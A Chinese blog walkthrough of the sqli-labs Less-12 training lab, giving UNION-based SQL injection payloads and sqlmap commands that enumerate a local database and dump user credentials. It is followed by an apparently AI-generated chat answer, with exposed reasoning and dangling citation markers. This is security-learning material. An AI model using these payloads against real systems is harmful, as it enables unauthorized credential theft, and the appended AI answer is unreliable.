sqli-labs:Less-12关卡详细解析

1. 思路🚀

本关的SQL语句为:

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
  • 注入类型:字符串型(双引号、括号包裹)、POST请求
  • 提示:参数需以")闭合

php输出语句的部分代码:

if($row)
{
 	//echo '<font color= "#0000ff">';	
 	echo "<br>";
	echo '<font color= "#FFFF00" font size = 4>';
	//echo " You Have successfully logged in\n\n " ;
	echo '<font size="3" color="#0000ff">';	
	echo "<br>";
	echo 'Your Login name:'. $row['username'];
	echo "<br>";
	echo 'Your Password:' .$row['password'];
	echo "<br>";
	echo "</font>";
	echo "<br>";
	echo "<br>";
	echo '<img src="../images/flag.jpg"  />';	
 	echo "</font>";
}

从源码下手便于我们更清晰的锁定回显情况,从而更深入的理解知识点,每篇文章我都会附加上重点代码部分。
在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-12/,只需要将下面的urlpost data放入对应位置,粘贴即可。

2.1. 判断能否注入⚡

uname=1") order by 3 #
&passwd=admin&submit=Submit
  • order by 3:探测字段数(报错说明字段数=2)

在这里插入图片描述


2.2. 判断回显点⚡

uname=1") union select 1,2 #
&passwd=admin&submit=Submit

在这里插入图片描述


2.3. 获取基础信息⚡

uname=1") union select database(),user() #
&passwd=admin&submit=Submit

在这里插入图片描述


2.4. 获取表名⚡

uname=1") union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security' #
&passwd=admin&submit=Submit

在这里插入图片描述


2.5. 获取字段⚡

uname=1") union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' #
&passwd=admin&submit=Submit

在这里插入图片描述


2.6. 获取数据⚡

uname=1") union select group_concat(username),group_concat(password) from users #
&passwd=admin&submit=Submit

在这里插入图片描述


2.7. 参数汇总表⭐

参数作用示例
")闭合符号id=1')
#注释符#
order by判断字段数order by 3
union select联合查询union select 1,2,3
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,比如:http://localhost:8081/Less-12/,由于本关卡为post请求,需要加参数指明请求格式,
--data="uname=1&passwd=123456"unamepasswd的值随意,具体如下:⭐

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-12/" --data="uname=1&passwd=123456" --batch

# 爆数据库
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch

# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch

# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch

# 爆数据
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--data指定post请求
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

本关卡与关卡11的解法一致,但关卡11的解析更为详细,欢迎大家移步"sqli-labs:Less-11关卡详细解析"
https://blog.youkuaiyun.com/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

<think>好的,我现在需要帮助用户寻找关于sqli-labs version 4的下载或相关信息。首先,我应该回顾用户提供的引用内容,看看是否有相关的线索。用户给出的引用[1]到[4]主要涉及SQL注入的示例和技巧,比如使用sqlmap工具、报错注入以及不同注入类型的分类。特别是引用[4]提到了Less-46的报错注入,这可能与sqli-labs的不同关卡有关。 接下来,我需要确定sqli-labs的版本信息。用户提到的是version 4,但根据我的知识,sqli-labs通常指的是由Audi-1开发的SQL注入练习平台,常见的版本可能没有明确的v4标签。可能存在版本更新或分支,但用户可能需要确认正确的资源名称或来源。 检查用户提供的引用内容,引用[3]讨论了数据库类型对注入点的影响,而引用[4]则涉及具体的关卡示例。这可能意味着用户正在寻找sqli-labs中与这些注入技术相关的部分,比如不同的lessons或挑战。 现在,我应该考虑如何引导用户找到正确的资源。通常,sqli-labs可以在GitHub上找到,比如在Audi-1的仓库中。可能需要建议用户访问GitHub搜索或直接提供仓库链接。同时,提醒用户注意安全,在受控环境中使用这些资源。 另外,用户可能混淆了版本号,因为常见的sqli-labs可能有多个关卡(如Less-1到Less-75),而version 4可能指某个特定的关卡或分支。需要澄清这一点,并确保用户获得正确的材料。 最后,根据引用中提到的注入示例,用户可能对实践特定的注入技术感兴趣,因此建议他们查阅官方文档或社区资源以获取详细指导和更新信息。</think>关于寻找sqli-labs version 4的资源,以下是关键信息: 1. **项目来源** sqli-labs是由安全研究员Audi-1开发的SQL注入实验平台,主要用于Web安全攻防演练。最新版本可通过其GitHub仓库获取: ```bash git clone https://github.com/Audi-1/sqli-labs ``` 项目包含75个渐进式SQL注入关卡(如Less-1到Less-75),涵盖联合查询注入、报错注入、布尔盲注等类型[^3][^4] 2. **版本说明** - 该项目未使用V1-V4的版本编号体系,当前最新更新时间为2023年(查看GitHub提交记录) - 您提到的"version 4"可能指向以下内容: ✅ 第四类注入:根据数据库字段类型的分类,如数字型/字符型/搜索型注入[^3] ✅ 第四十六关:基于`?sort=`参数的注入实验(使用`rand()`函数触发报错) 3. **实验环境搭建** ```docker # 使用预配置的Docker镜像快速部署 docker run -d -p 80:80 acgpiano/sqli-labs ``` 访问`http://localhost`后点击"Setup/reset Database"初始化环境 4. **安全注意事项** - 仅在本地或授权环境运行 - 避免暴露在公网(存在真实漏洞) - 推荐配合DVWA、WebGoat等平台组合使用
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值